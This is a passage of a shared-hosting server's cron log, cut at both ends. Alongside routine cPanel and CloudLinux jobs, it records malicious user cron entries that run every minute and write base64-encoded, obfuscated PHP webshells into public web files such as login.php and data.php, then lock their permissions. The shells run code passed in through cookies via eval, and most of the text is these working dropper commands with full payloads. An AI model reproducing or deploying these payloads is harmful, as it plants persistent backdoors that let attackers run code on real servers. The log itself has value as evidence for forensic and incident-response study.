JF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:02:02 medusa CROND[22657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:02:02 medusa CROND[22659]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:02:02 medusa CROND[22660]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:02:02 medusa CROND[22661]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:02:02 medusa CROND[22663]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:02:02 medusa CROND[22664]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:02:02 medusa CROND[22668]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:02:02 medusa CROND[22679]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:02:02 medusa CROND[22681]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:02:02 medusa CROND[22685]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:03:01 medusa CROND[9636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:03:01 medusa CROND[9681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:03:02 medusa CROND[9888]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:03:02 medusa CROND[9891]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:03:02 medusa CROND[9892]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:03:02 medusa CROND[9893]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:03:02 medusa CROND[9895]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:03:02 medusa CROND[9897]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:03:02 medusa CROND[9898]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:03:02 medusa CROND[9911]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:03:02 medusa CROND[9912]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:03:02 medusa CROND[9913]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:04:01 medusa CROND[27719]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:04:01 medusa CROND[27722]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:04:01 medusa CROND[27724]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:04:01 medusa CROND[27726]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:04:01 medusa CROND[27727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:04:01 medusa CROND[27725]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:04:01 medusa CROND[27728]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:04:01 medusa CROND[27729]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:04:01 medusa CROND[27730]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:04:01 medusa CROND[27731]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbn